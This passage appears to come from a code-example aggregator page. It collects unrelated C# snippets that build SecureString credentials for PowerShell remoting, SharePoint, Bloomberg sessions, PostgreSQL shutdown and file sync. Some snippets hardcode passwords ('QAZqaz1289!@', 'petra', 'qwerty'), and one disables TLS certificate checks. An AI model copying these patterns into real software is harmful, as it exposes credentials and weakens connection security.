            foreach (char c in Password.ToCharArray())
            {
                securePassword.AppendChar(c);
            }
            PSCredential creds = new PSCredential(UserName, securePassword);

            RunspaceConfiguration rc        = RunspaceConfiguration.Create();
            WSManConnectionInfo   wsManInfo = new WSManConnectionInfo(serverUri, shellUri, creds);

            //wsManInfo.AuthenticationMechanism = AuthenticationMechanism.Default;
            wsManInfo.SkipCNCheck = true;
            wsManInfo.SkipCACheck = true;

            using (var runspace = RunspaceFactory.CreateRunspace(wsManInfo))
            {
                runspace.Open();
                using (PowerShell powershell = PowerShell.Create())
                {
                    powershell.Runspace = runspace;
                    powershell.AddCommand(command);
                    powershell.Commands.AddParameter("Identity", UserLogonName);
                    powershell.Commands.AddParameter("Database", DatabaseName);
                    powershell.Commands.AddParameter("ErrorAction", "stop");

                    string errorDescription       = string.Format("{0} command execution has failed.", command);
                    Collection <PSObject> results = powershell.Invoke();
                    if (results != null)
                    {
                        if (results.Count > 0)
                        {
                            object resValue = results[0].Properties["IsMailboxEnabled"].Value;
                            if (resValue != null)
                            {
                                if (Convert.ToBoolean(resValue))
                                {
                                    dt.Rows.Add("Success");
                                }
                                else
                                {
                                    throw new Exception(errorDescription);
                                }
                            }
                            else
                            {
                                throw new Exception(errorDescription);
                            }
                        }
                        else
                        {
                            throw new Exception(errorDescription);
                        }
                    }
                    else
                    {
                        throw new Exception(errorDescription);
                    }
                }
            }
            return(this.GenerateActivityResult(dt));
        }
コード例 #37
0
ファイル: PrimitiveParser.cs プロジェクト: ylax/ConsoleCommon
        private object ParseElement(string toParse, Type type)
        {
            object myVal            = null;
            Type   myPropType       = type;
            Type   myUnderLyingType = myPropType;
            bool   isNullable       = myPropType.IsGenericType && myPropType.GetGenericTypeDefinition() == typeof(Nullable <>);

            if (isNullable)
            {
                myUnderLyingType = Nullable.GetUnderlyingType(myPropType);
            }
            if (myUnderLyingType.IsEnum)
            {
                if (!_parseEnumAsArray && myUnderLyingType.GetCustomAttribute <FlagsAttribute>() != null)
                {
                    _parseEnumAsArray = true;
                    Type  _enumArrayType = myUnderLyingType.MakeArrayType();
                    Array _enumArray     = ParseArray(toParse, _enumArrayType) as Array;
                    int   _totalVal      = 0;
                    int   _iter          = 0;

                    foreach (object enVal in _enumArray)
                    {
                        if (_iter == 0)
                        {
                            _totalVal = (int)enVal;
                        }
                        else
                        {
                            _totalVal = _totalVal | (int)enVal;
                        }
                        _iter++;
                    }
                    myVal             = _totalVal;
                    _parseEnumAsArray = false;
                }
                else
                {
                    myVal = Enum.Parse(myUnderLyingType, toParse, true);
                }
            }
            else if (typeof(System.Security.SecureString).Equals(myUnderLyingType))
            {
                var secure = new System.Security.SecureString();

                foreach (var v in toParse.ToCharArray())
                {
                    secure.AppendChar(v);
                }
                myVal = secure;
            }
            else if (typeof(KeyValuePair <,>).Name.Equals(myUnderLyingType.Name))
            {
                Type[]   _genericTypes = myUnderLyingType.GetGenericArguments();
                string[] _keyValArr    = toParse.Split(':');
                if (_keyValArr == null || _keyValArr.Length != 2)
                {
                    throw new Exception("Failed to parse key value pair");
                }
                object _key = Parse(_keyValArr[0], _genericTypes[0]);
                object _val = Parse(_keyValArr[1], _genericTypes[1]);
                if (_key == null || _val == null)
                {
                    throw new Exception("Failed to parse key value pair");
                }
                object[] _keyValPair = new object[] { _key, _val };
                myVal = myUnderLyingType.GetConstructor(_genericTypes).Invoke(_keyValPair);
            }
            else if (typeof(IConvertible).IsAssignableFrom(myUnderLyingType))
            {
                if (myUnderLyingType == typeof(bool))
                {
                    if (BoolFalseValues.Contains(toParse?.ToLower().Trim()))
                    {
                        return(false);
                    }
                    else if (BoolTrueValues.Contains(toParse?.ToLower().Trim()))
                    {
                        return(true);
                    }
                }
                else
                {
                    myVal = Convert.ChangeType(toParse, myUnderLyingType);
                }
            }
            else if (typeof(Type).IsAssignableFrom(myUnderLyingType))
            {
                IEnumerable <Type> _types = AppDomain.CurrentDomain.GetAssemblies().SelectMany(asm => asm.GetTypes());
                myVal = _types.SkipWhile(t =>
                                         (t.GetCustomAttribute <TypeParamAttribute>() != null &&
                                          t.GetCustomAttribute <TypeParamAttribute>().Ignore))
                        .Where(t => t.MatchesAttributeValueOrName <TypeParamAttribute>(toParse, attr => (attr == null || string.IsNullOrWhiteSpace(attr.FriendlyName)) ? "" : attr.FriendlyName.ToLower())).FirstOrDefault();
            }
            return(myVal);
        }
コード例 #38
0
        void Connect(int retry = 0)
        {
            if (connection != null)
            {
                connection.Dispose();
            }

            connection = Sas.SasUtil.StartRx()
                         .SelectMany(_ => {
                if (DC.CNetwork.s.platform.context.token != null)
                {
                    return(Sas.SasUtil.StartRx());
                }

                return(DC.CNetwork.s.platform.account.Authentication()
                       .SelectMany(err => {
                    if ("ok" == err)
                    {
                        var login_param = new Sas.Data.AccountLoginParam();
                        var email = new System.Security.SecureString();
                        "*****@*****.**".ToList().ForEach(c => email.AppendChar(c));
                        login_param.email = email;

                        var password = new System.Security.SecureString();
                        "QAZqaz1289!@".ToList().ForEach(c => password.AppendChar(c));
                        login_param.password = password;

                        return DC.CNetwork.s.platform.account.Login(login_param);
                    }
                    else
                    {
                        throw new Sas.Exception(Sas.ERRNO.MESSAGE.ToErrCode(), "make sure that authentication.");
                    }
                })
                       .SelectMany(__ => {
                    return DC.CNetwork.s.platform.account.AccessOpen();
                })
                       .Select(__ => 1));
            })
                         .SelectMany(_ => {
                if (this.socket != null && this.socket.is_connected)
                {
                    return(Sas.SasUtil.StartRx().Select(__ => this.socket));
                }
                return(DC.CNetwork.s.platform.MakeWS("wss://localhost:8080/"));
            })
                         .SelectMany(socket => {
                this.socket = socket;
                return(socket.Send("/dc/chat/join", "")
                       .SelectMany(_ => socket.Recv()));
            })
                         .Subscribe(_ => {
            },
                                    err => {
                var error = err as Sas.Exception;
                if (error != null)
                {
                    Debug.LogError(error.ToErrstrOfDC());
                    Debug.LogError(error.ToErrnoOfSas());
                }

                Debug.LogError(err.Message);
                AttachMatchBtn();
            });
        }
コード例 #39
0
        static void Main(string[] args)
        {
            try
            {
                #region InvoiceSplit
                //log the start time
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine("Started Processing..");
                Logger.log.Info("=========== Started Invoice Processing ====================");
                BrokenInvoicesLog = BrokenInvoicesLog + "<p>Hi Admin, </p>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<p>Coversheet Processing Status Report: <strong>" + DateTime.Now.ToString("MMMM") + " " + DateTime.Now.Day + ", " + DateTime.Now.Year + "</strong></p>";

                BrokenInvoicesLog = BrokenInvoicesLog + "<table border=1 style='width: 100 %; border - style: solid; border - width: 1px;' > ";
                BrokenInvoicesLog = BrokenInvoicesLog + "<tr style='background-color:#7FFFD4' >";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > ID </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Invoice # </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Vendor Name </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Vendor No </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Invoice Company </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Invoice Date </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Invoice Amount </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Status </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "<th  > Error </th>";
                BrokenInvoicesLog = BrokenInvoicesLog + "</tr>";

                Utils.ReadConfigurationValues();

                dtInvoices = ConstructDataTable();
                if (!string.IsNullOrEmpty(Invoice._siteUrl))
                {
                    context = new ClientContext(Invoice._siteUrl);
                }
                else
                {
                    Logger.log.Info("The site url is empty in configuration.");
                }
                if (Invoice._runforCloud)
                {
                    Logger.log.Info("Configuration set to run for Sharepoint Online.");
                    System.Security.SecureString pwdSecureString = new System.Security.SecureString();
                    if (!string.IsNullOrEmpty(Invoice._password))
                    {
                        foreach (char c in Invoice._password)
                        {
                            pwdSecureString.AppendChar(c);
                        }
                        context.Credentials = new SharePointOnlineCredentials(Invoice._userName, pwdSecureString);
                    }
                }
                else
                {
                    Logger.log.Info("Configuration set to run for SharePoint On Premise.");
                    context.Credentials = new NetworkCredential(Invoice._userName, Invoice._password, Invoice._domain);
                }

                Web web = context.Web;
                context.ExecuteQuery();
                Logger.log.Info("Context created for given site " + Invoice._siteUrl);

                listCoversheet = web.Lists.GetByTitle(Invoice._invoiceSourceLibraryName);
                List listHeader  = web.Lists.GetByTitle(Invoice._invoceDestinationListName);
                List listDetails = web.Lists.GetByTitle(Invoice._coversheetDetailsListName);//To push

                Logger.log.Info("Reading items from List : " + Invoice._invoiceSourceLibraryName);
                CamlQuery camlQuery = new CamlQuery();
                camlQuery.ViewXml = "<View><Query><Where><Eq><FieldRef Name='processed'/><Value Type='Choice'>False</Value></Eq></Where></Query></View>";

                ListItemCollection coversheetCollection = listCoversheet.GetItems(camlQuery);

                Logger.log.Info("CamlQuery: " + camlQuery.ViewXml);

                context.Load(
                    coversheetCollection,
                    items => items.Include(
                        item => item.Id,
                        item => item["Vendor_x0020_Name"],
                        item => item["Vendor"],
                        item => item["PO"],
                        item => item["Invoice_x0020_Co"],
                        item => item["Invoice_x0020_DIV"],
                        item => item["Invoice_x0020__x0023_"],//Invoice#
                        item => item["Invoice_x0020_Date"],
                        item => item["Invoice_x0020_Amt"],
                        item => item["Company"],
                        item => item["Division"],
                        item => item["Dept_x002d_3_x0020_CH"],
                        item => item["Account_x002d_5_x0020_CH"],
                        item => item["Expense_x0020_Amt"],
                        item => item["Job"],
                        item => item["CER"],
                        //item => item["Monetary_Unit"],
                        item => item["Acct_x0020_Date"],
                        item => item["processed"],
                        item => item["Account_x0020_String"]
                        ));
                context.ExecuteQuery();
                dtInvoices.Clear();

                //"Filling datatable with CS Invoice data if invoice alreadey not exist in header list;
                FillCoversheetInfotoDataTable(dtInvoices, coversheetCollection);

                //Console.WriteLine("Invoice Processing Completed!");
                if (dtInvoices != null && dtInvoices.Rows.Count > 0)
                {
                    Logger.log.Info("Retrieved " + dtInvoices.Rows.Count + " Invoices from CoverSheet ");
                    PushtoHeaderList(dtInvoices, listHeader, listDetails);
                }
                else
                {
                    Logger.log.Info("Retrieved " + dtInvoices.Rows.Count + " Invoices from CoverSheet ");
                }
                Console.WriteLine("Invoice Processing Completed!");
                Console.WriteLine("Splitting is Completed.");
                Logger.log.Info("Splitting Process is Completed.. ");
                if (Invoice._mapVouchers)
                {
                    Logger.log.Info("Starting Mapping the Voucher Numbers");
                    Console.WriteLine("Started Mapping Voucher Number!");

                    if (!string.IsNullOrEmpty(Invoice._filePath))
                    {
                        string filepath = string.Empty;
                        if (System.IO.File.Exists(Invoice._filePath))
                        {
                            Logger.log.Info("Getting voucher mappings file from filepath");
                            filepath = Invoice._filePath;
                        }
                        else
                        {
                            Logger.log.Info("Getting voucher mappings file from folder path");
                            Console.WriteLine("Getting file from folder  :" + Invoice._filePath);
                            filepath = GetFileFromFolderPath(Invoice._filePath);
                        }
                        if (!string.IsNullOrEmpty(filepath))
                        {
                            string destinationPath = string.Empty;
                            if (System.IO.File.Exists(Invoice._repository))
                            {
                                Logger.log.Info("Reading destination mapping vouchers filepath ");
                                destinationPath = Invoice._repository;
                            }
                            else
                            {
                                Logger.log.Info("Reading destination mapping vouchers filepath from folder");
                                string fileName = Path.GetFileName(filepath);
                                if (Invoice._repository.ToString().ToLower().Contains(fileName.ToLower()))
                                {
                                    destinationPath = Invoice._repository;
                                }
                                else
                                {
                                    destinationPath = Invoice._repository + fileName;
                                }
                            }

                            Logger.log.Info("Reading voucher map data from given file " + filepath);
                            DataTable dtVouchers = new DataTable();

                            /*dtVouchers = Utils.ReadExcelData(filepath);
                             * bool mappingCompleted = MapVoucher(dtVouchers, listHeader);
                             * try
                             * {
                             *  if (mappingCompleted)
                             *  {
                             *      Logger.log.Info("Mapping is completed.");
                             *      MoveFile(filepath, destinationPath);
                             *      Console.WriteLine("Voucher Mapping Process Completed.!");
                             *  }
                             * }
                             * catch (Exception)
                             * {
                             *  Console.WriteLine("Error in moving the file");
                             * }*/
                        }
                        else
                        {
                            Console.WriteLine("Unable to map the voucher, reason could be the file path is not correct or the file doenst exist in the specified locaton : " + filepath);
                            Logger.log.Info("Unable to map the voucher, reason could be the file path is not correct or the file doenst exist in the specified locaton : " + filepath);
                        }
                    }
                }
                else
                {
                    Logger.log.Info("Mapping Voucher set to false in configuration.");
                }
                Console.WriteLine("Please Close the Window to exit Process..!");
                #endregion InvoiceSplit
                if (!string.IsNullOrEmpty(BrokenInvoicesLog))
                {
                    BrokenInvoicesLog = BrokenInvoicesLog + " </table><br />";
                    string LogFileName = DateTime.Now.ToString("yyyyMMdd");
                    BrokenInvoicesLog = BrokenInvoicesLog + "<p>Complete log file: C:\\Dayton Rogers Log History\\InvoiceSplit_" + LogFileName + ".log </p>";
                    BrokenInvoicesLog = BrokenInvoicesLog + "<p>Thank you</p>";
                    Utils.SendEmail(BrokenInvoicesLog, Invoice._toadrress);
                }
                Logger.log.Info("============= Completed Invoice Processing ====================");
                //Console.ReadLine();
            } catch (Exception ex) {
                //Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Error in Processing Invoice, Please check all the configurations and try again..{0}", ex);
                Logger.log.Error("Error in Processing Invoices, Message : " + ex.ToString());
                try
                {
                    if (!string.IsNullOrEmpty(BrokenInvoicesLog))
                    {
                        //BrokenInvoices Email Body is not Empty then send Email
                        BrokenInvoicesLog = BrokenInvoicesLog + " </table><br />";
                        string LogFileName = DateTime.Now.ToString("yyyyMMdd");
                        BrokenInvoicesLog = BrokenInvoicesLog + "<p>Complete log file: C:\\Dayton Rogers Log History\\InvoiceSplit_" + LogFileName + ".log </p>";
                        BrokenInvoicesLog = BrokenInvoicesLog + "<p>" + " <b> Error in Processing Invoice </b>  " + ex.ToString() + "</p>";
                        BrokenInvoicesLog = BrokenInvoicesLog + "<p>Thank you</p>";
                        Utils.SendEmail(BrokenInvoicesLog, Invoice._toadrress);
                    }
                }
                catch (Exception)
                {
                    //Leave
                }
            }
            Console.ReadLine();
        }
コード例 #40
0
 public static System.Security.SecureString SecureString(string pass)
 {
     System.Security.SecureString SSpass = new System.Security.SecureString();
     foreach (char c in pass)
     {
         SSpass.AppendChar(c);
     }
     SSpass.MakeReadOnly();
     return SSpass;
 }
        public void Run(String[] args)
        {
            if (!ParseCommandLine(args))
            {
                return;
            }

            SessionOptions sessionOptions = new SessionOptions();

            SessionOptions.ServerAddress[] servers = new SessionOptions.ServerAddress[d_hosts.Count];
            for (int i = 0; i < d_hosts.Count; ++i)
            {
                servers[i] = new SessionOptions.ServerAddress(d_hosts[i], d_port);
            }

            sessionOptions.ServerAddresses            = servers;
            sessionOptions.AutoRestartOnDisconnection = true;
            sessionOptions.NumStartAttempts           = d_hosts.Count;
            sessionOptions.DefaultSubscriptionService = d_service;
            sessionOptions.AuthenticationOptions      = d_authOptions;

            if (d_clientCredentials != null && d_trustMaterial != null)
            {
                using (System.Security.SecureString password = new System.Security.SecureString())
                {
                    foreach (var c in d_clientCredentialsPassword)
                    {
                        password.AppendChar(c);
                    }

                    TlsOptions tlsOptions = TlsOptions.CreateFromFiles(d_clientCredentials, password, d_trustMaterial);
                    sessionOptions.TlsOptions = tlsOptions;
                }
            }

            System.Console.WriteLine("Connecting to port " + d_port + " on ");
            foreach (string host in d_hosts)
            {
                System.Console.WriteLine(host + " ");
            }
            Session session = new Session(sessionOptions);

            if (!session.Start())
            {
                System.Console.Error.WriteLine("Failed to start session.");
                return;
            }

            Identity identity = null;

            if (d_authOptions != null)
            {
                bool isAuthorized = false;
                identity = session.CreateIdentity();
                if (session.OpenService("//blp/apiauth"))
                {
                    Service authService = session.GetService("//blp/apiauth");
                    if (Authorize(authService, identity, session, new CorrelationID()))
                    {
                        isAuthorized = true;
                    }
                }
                if (!isAuthorized)
                {
                    System.Console.Error.WriteLine("No authorization");
                    return;
                }
            }

            List <Subscription> subscriptions = new List <Subscription>();

            foreach (String topic in d_topics)
            {
                subscriptions.Add(new Subscription(
                                      d_service + topic,
                                      d_fields,
                                      d_options,
                                      new CorrelationID(topic)));
            }
            session.Subscribe(subscriptions, identity);
            ProcessSubscriptionResponse(session);
        }
コード例 #42
0
ファイル: ShutDown.cs プロジェクト: Davincier/openpetra
        private static void StopPostgreSqlServer()
        {
#if TODO
            System.Diagnostics.Process PostgreSqlServerProcess;

            if (TClientSettings.RunAsStandalone)
            {
                // stop the PostgreSql server (e.g. c:\Program Files\Postgres\8.3\bin\pg_ctl.exe -D C:\petra2\db23_pg stop
                try
                {
                    PostgreSqlServerProcess = new System.Diagnostics.Process();
                    PostgreSqlServerProcess.StartInfo.FileName = "\"" + TClientSettings.PostgreSql_BaseDir + "\\bin\\pg_ctl.exe\"";
                    PostgreSqlServerProcess.StartInfo.Arguments = "-D " + TClientSettings.PostgreSql_DataDir + " stop";
                    PostgreSqlServerProcess.StartInfo.WorkingDirectory = TClientSettings.PostgreSql_DataDir;
                    PostgreSqlServerProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    PostgreSqlServerProcess.EnableRaisingEvents = false;
                    PostgreSqlServerProcess.StartInfo.UseShellExecute = false;

                    System.Security.SecureString MyPassword = new System.Security.SecureString();
                    String Pwd = "petra";

                    foreach (char c in Pwd)
                    {
                        MyPassword.AppendChar(c);
                    }

                    PostgreSqlServerProcess.StartInfo.Password = MyPassword;
                    PostgreSqlServerProcess.StartInfo.UserName = "******";

                    if (!PostgreSqlServerProcess.Start())
                    {
#if TESTMODE
                        TLogging.Log("failed to start " + PostgreSqlServerProcess.StartInfo.FileName);
#endif
                        return;
                    }
                }
                catch (Exception exp)
                {
#if TESTMODE
                    TLogging.Log("Exception while shutting down PostgreSql server process: " + exp.ToString());
#else
                    MessageBox.Show("Exception while shutting down PostgreSql server process: " + exp.ToString());
#endif
                    return;
                }
                PostgreSqlServerProcess.WaitForExit(20000);
            }
#endif
        }
コード例 #43
0
 public System.Security.SecureString DecryptToSecureStringFromBase64(string inString)
 {
     byte[] bytes = Convert.FromBase64String(inString);
     bytes = Decrypt(bytes);
     System.Security.SecureString ret = new System.Security.SecureString();
     for (int i = 0; i < bytes.Length; i+=2)
     {
         ret.AppendChar( (char)(bytes[i]*256 + bytes[i+1]));
         bytes[i] = bytes[i+1] = 0;
     }
     ret.MakeReadOnly();
     return ret;
 }
コード例 #44
0
        /// <summary>
        /// Decrypts the specified data using a 192-bit cipher. The key can be any length.
        /// </summary>
        /// <param name="Data">The data to be decrypted. Will be converted to UTF8.</param>
        /// <param name="Key">The key used to decrypt the data.</param>
        /// <returns>A string containing the decoded data.</returns>
        public static System.Security.SecureString Decrypt192StringSecure(byte[] Data, byte[] Key)
        {
            AesCryptoServiceProvider AES = null;
            var MS = new MemoryStream(Data);
            CryptoStream CS = null;
            StreamReader DS = null;
            try
            {
                //Get the IV and length corrected Key.
                KeyData KeyData = GenerateKeyIV128(Key);
                //Create the AES crytpograhy object.
                AES = new AesCryptoServiceProvider { BlockSize = 192, KeySize = 192, Key = KeyData.Key, IV = KeyData.IV, Mode = CipherMode.CBC, Padding = PaddingMode.PKCS7 };
                CS = new CryptoStream(MS, AES.CreateDecryptor(), CryptoStreamMode.Read);
                DS = new StreamReader(CS, System.Text.Encoding.UTF8);

                var ss = new System.Security.SecureString();
                while (DS.EndOfStream == false)
                    ss.AppendChar(Convert.ToChar(DS.Read()));
                ss.MakeReadOnly();
                return ss;
            }
            finally
            {
                if (AES != null) AES.Clear();
                MS.Dispose();
                if (CS != null) CS.Dispose();
                if (DS != null) DS.Dispose();
            }
        }
コード例 #45
0
        ///<summary>
        ///Genera el sello del comprobante.
        ///</summary>
        ///<return>
        ///Devuelve sello del comprobante como un string
        ///</return>
        ///<param name="keyfile">
        ///Ruta del archivo .key en disco a leer.
        ///</param>
        ///<param name="password">
        ///Contraseña del archivo .key, en string
        ///</param>
        ///<param name="originalChain">
        ///Cadena original del comprobante en cadena, o bien la ruta del archivo a leer en disco
        ///</param>
        public string createDigitalStamp(string keyfile, string password, string originalChain)
        {
            if (password.Equals(""))
            {
                this.code = "PASS-001";
                this.message = "Error: Contraseña vacia";
                return this.digitalStamp;
            }
            if (!System.IO.File.Exists(keyfile))
            {
                this.code = "KEY-001";
                this.message = "Error: No se encuentra el archivo key en la ruta " + keyfile;
                return this.digitalStamp;
            }
            if (originalChain.Equals(""))
            {
                this.code = "CHAIN-001";
                this.message = "Error: Cadena original vacia";
                return this.digitalStamp;
            }

            try
            {
                string strSello = "";
                string strPathLlave = @keyfile;
                string strLlavePwd = password;
                if (File.Exists(originalChain))
                {
                    StreamReader objReader = new StreamReader(originalChain, Encoding.UTF8);
                    originalChain = objReader.ReadToEnd();
                    objReader.Close();
                }
                string strCadenaOriginal = originalChain;
                System.Security.SecureString passwordSeguro = new System.Security.SecureString();
                passwordSeguro.Clear();
                foreach (char c in strLlavePwd.ToCharArray())
                    passwordSeguro.AppendChar(c);
                byte[] llavePrivadaBytes = System.IO.File.ReadAllBytes(strPathLlave);
                RSACryptoServiceProvider rsa = opensslkey.DecodeEncryptedPrivateKeyInfo(llavePrivadaBytes, passwordSeguro);
                SHA1CryptoServiceProvider hasher = new SHA1CryptoServiceProvider();
                byte[] bytesFirmados = rsa.SignData(System.Text.Encoding.UTF8.GetBytes(originalChain), hasher);
                strSello = Convert.ToBase64String(bytesFirmados);
                if (strSello == "")
                {
                    this.code = "E-0001";
                    this.message = "Error: El sello esta vacio";
                }
                this.code = "S-0001";
                this.digitalStamp = strSello;
                this.message = "Sello del comprobante creado con éxito";
            }
            catch (Exception e)
            {
                this.code = "EXCEPTION-0001";
                this.message = "Error: " + e.Message;
            }

            return this.digitalStamp;
        }
コード例 #46
0
        protected override void internal_command_proc()
        {
            QueryPanelInfoEventArgs e = new QueryPanelInfoEventArgs();

            OnQueryCurrentPanel(e);

            if (e.FocusedIndex == -1)
            {
                return;
            }

            DirectoryList dl = (DirectoryList)e.ItemCollection;

            if (dl.GetItemDisplayNameLong(e.FocusedIndex) == "..")
            {
                return;
            }

            //show dialog
            ProcessStartInfo psi       = new ProcessStartInfo();
            string           file_name = dl[e.FocusedIndex].FullName;

            psi.FileName = file_name;
            RunExeOptions opts   = Options.RunExeOptions;
            RunexeDialog  dialog = new RunexeDialog();

            dialog.Text                         = Options.GetLiteral(Options.LANG_EXECUTE);
            dialog.RunExeOptions                = opts;
            dialog.textBoxArguments.Text        = string.Empty;
            dialog.textBoxFilename.Text         = dl[e.FocusedIndex].FileName;
            dialog.textBoxWorkingDirectory.Text = dl.DirectoryPath;
            if (psi.Verbs != null)
            {
                foreach (string verb in psi.Verbs)
                {
                    dialog.comboBoxVerb.Items.Add(verb);
                }
            }

            if (dialog.ShowDialog() != DialogResult.OK)
            {
                return;
            }

            opts = dialog.RunExeOptions;
            Options.RunExeOptions = opts;

            psi.LoadUserProfile = (opts & RunExeOptions.LoadEnvironment) == RunExeOptions.LoadEnvironment;
            if ((opts & RunExeOptions.RunInConsole) == RunExeOptions.RunInConsole)
            {
                if (file_name.Contains(" "))
                {
                    file_name = '"' + file_name + '"';
                }
                psi.FileName  = "cmd";
                psi.Arguments = "/K " + file_name;
            }
            else
            {
                psi.FileName = file_name;
            }

            if ((opts & RunExeOptions.UseRunas) == RunExeOptions.UseRunas)
            {
                string user = string.Empty;
                string pass = string.Empty;

                if (Messages.AskCredentials(Options.GetLiteral(Options.LANG_ACCOUNT), Options.GetLiteral(Options.LANG_EXECUTE) + " '" + file_name + "'", ref user, ref pass) == DialogResult.OK)
                {
                    psi.UserName = user;
                    System.Security.SecureString sec = new System.Security.SecureString();
                    foreach (char c in pass)
                    {
                        sec.AppendChar(c);
                    }
                    psi.Password = sec;
                }
            }

            psi.UseShellExecute = (opts & RunExeOptions.UseShellExecute) == RunExeOptions.UseShellExecute;

            psi.WorkingDirectory = dialog.textBoxWorkingDirectory.Text;
            psi.Verb             = dialog.comboBoxVerb.Text;
            psi.Arguments        = psi.Arguments + " " + dialog.textBoxArguments.Text;

            try
            {
                Process.Start(psi);
            }
            catch (Exception ex)
            {
                Messages.ShowException
                    (ex,
                    string.Format(Options.GetLiteral(Options.LANG_CANNOT_EXCUTE_0_1), psi.FileName, psi.Arguments));
            }
        }
コード例 #47
0
ファイル: Program.cs プロジェクト: wfraser/FooSync
        void Run(string hostname, int port, string repo)
        {
            var foo = new FooSyncEngine();

            var client = new TcpClient(hostname, port);
            var stream = client.GetStream();
            var writer = new BinaryWriter(stream);
            var reader = new BinaryReader(stream);

            var passwd = new System.Security.SecureString();
            foreach (char c in "qwerty")
                passwd.AppendChar(c);

            RetCode ret;
            int count = 0;

            writer.Write(OpCode.Hello);
            ret = reader.ReadRetCode();

            Console.WriteLine("hello returned {0}", ret);

            Version protocolVersion = new Version(reader.ReadInt32(), reader.ReadInt32());
            String serverName = reader.ReadString();
            String serverDesc = reader.ReadString();
            Version serverVersion = new Version(reader.ReadInt32(), reader.ReadInt32(), reader.ReadInt32(), reader.ReadInt32());
            String helloString = reader.ReadString();

            Console.WriteLine("Protocol {0}\nName: {1}\nDescription: {2}\nServer {3}\n{4}", protocolVersion, serverName, serverDesc, serverVersion, helloString);

            writer.Write(OpCode.Auth);
            writer.Write("test");
            writer.Write(passwd);
            ret = reader.ReadRetCode();

            Console.WriteLine("auth returned {0}", ret);

            writer.Write(OpCode.ListRepos);
            ret = reader.ReadRetCode();
            count = reader.ReadInt32();

            Console.WriteLine("listrepos returned {0}", ret);
            Console.WriteLine("{0} repositories", count);

            for (int x = 0; x < count; x++)
            {
                var repoName = reader.ReadString();
                Console.WriteLine("> {0}", repoName);
            }

            writer.Write(OpCode.Hello);
            ret = reader.ReadRetCode();
            var s = reader.ReadString();

            Console.WriteLine("hello replied {0}", s);

            writer.Write(OpCode.Tree);
            writer.Write("test");
            ret = reader.ReadRetCode();

            Console.WriteLine("tree returned {0}", ret);

            var tree = new FooTree(foo, string.Format("fs://{0}:{1}/{2}", hostname, port, repo), stream,
                (item, total, path) =>
                    {
                        Console.WriteLine("{0}: {1}", item, path);
                    }
                );

            Console.WriteLine("{0} items in tree", tree.Files.Count);

            writer.Write(OpCode.GetFile);
            writer.Write("test");
            writer.Write(tree.Files.Keys.First());
            ret = reader.ReadRetCode();

            Console.WriteLine("getfile returned {0}", ret);

            var len = reader.ReadInt64();
            var bytes = reader.ReadBytes((int)len);

            stream.Close();
        }
コード例 #48
0
        public SharePointBackend(string url, Dictionary <string, string> options)
        {
            m_deleteToRecycler    = Utility.Utility.ParseBoolOption(options, "delete-to-recycler");
            m_useBinaryDirectMode = Utility.Utility.ParseBoolOption(options, "binary-direct-mode");

            try
            {
                string strSpan;
                if (options.TryGetValue("web-timeout", out strSpan))
                {
                    TimeSpan ts = Timeparser.ParseTimeSpan(strSpan);
                    if (ts.TotalMilliseconds > 30000 && ts.TotalMilliseconds < int.MaxValue)
                    {
                        this.m_useContextTimeoutMs = (int)ts.TotalMilliseconds;
                    }
                }
            }
            catch { }

            try
            {
                string strChunkSize;
                if (options.TryGetValue("chunk-size", out strChunkSize))
                {
                    long pSize = Utility.Sizeparser.ParseSize(strChunkSize, "MB");
                    if (pSize >= (1 << 14) && pSize <= (1 << 30)) // [16kb .. 1GB]
                    {
                        this.m_fileChunkSize = (int)pSize;
                    }
                }
            }
            catch { }


            var u = new Utility.Uri(url);

            u.RequireHost();

            // Create sanitized plain https-URI (note: still has double slashes for processing web)
            m_orgUrl = new Utility.Uri("https", u.Host, u.Path, null, null, null, u.Port);

            // Actual path to Web will be searched for on first use. Ctor should not throw.
            m_spWebUrl = null;

            m_serverRelPath = u.Path;
            if (!m_serverRelPath.StartsWith("/", StringComparison.Ordinal))
            {
                m_serverRelPath = "/" + m_serverRelPath;
            }
            m_serverRelPath = Duplicati.Library.Utility.Utility.AppendDirSeparator(m_serverRelPath, "/");
            // remove marker for SP-Web
            m_serverRelPath = m_serverRelPath.Replace("//", "/");

            // Authentication settings processing:
            // Default: try integrated auth (will normally not work for Office365, but maybe with on-prem SharePoint...).
            // Otherwise: Use settings from URL(precedence) or from command line options.
            bool useIntegratedAuthentication = Utility.Utility.ParseBoolOption(options, "integrated-authentication");

            string useUsername = null;
            string usePassword = null;

            if (!useIntegratedAuthentication)
            {
                if (!string.IsNullOrEmpty(u.Username))
                {
                    useUsername = u.Username;
                    if (!string.IsNullOrEmpty(u.Password))
                    {
                        usePassword = u.Password;
                    }
                    else if (options.ContainsKey("auth-password"))
                    {
                        usePassword = options["auth-password"];
                    }
                }
                else
                {
                    if (options.ContainsKey("auth-username"))
                    {
                        useUsername = options["auth-username"];
                        if (options.ContainsKey("auth-password"))
                        {
                            usePassword = options["auth-password"];
                        }
                    }
                }
            }

            if (useIntegratedAuthentication || (useUsername == null || usePassword == null))
            {
                // This might or might not work for on-premises SP. Maybe support if someone complains...
                m_userInfo = System.Net.CredentialCache.DefaultNetworkCredentials;
            }
            else
            {
                System.Security.SecureString securePwd = new System.Security.SecureString();
                usePassword.ToList().ForEach(c => securePwd.AppendChar(c));
                m_userInfo = new Microsoft.SharePoint.Client.SharePointOnlineCredentials(useUsername, securePwd);
                // Other options (also ADAL, see class remarks) might be supported on request.
                // Maybe go in deep then and also look at:
                // - Microsoft.SharePoint.Client.AppPrincipalCredential.CreateFromKeyGroup()
                // - ctx.AuthenticationMode = SP.ClientAuthenticationMode.FormsAuthentication;
                // - ctx.FormsAuthenticationLoginInfo = new SP.FormsAuthenticationLoginInfo(user, pwd);
            }
        }
コード例 #49
0
ファイル: Program.cs プロジェクト: RyanKung/AccessBattle
        static void Main(string[] args)
        {
            // Testcode
            //string hash, salt;
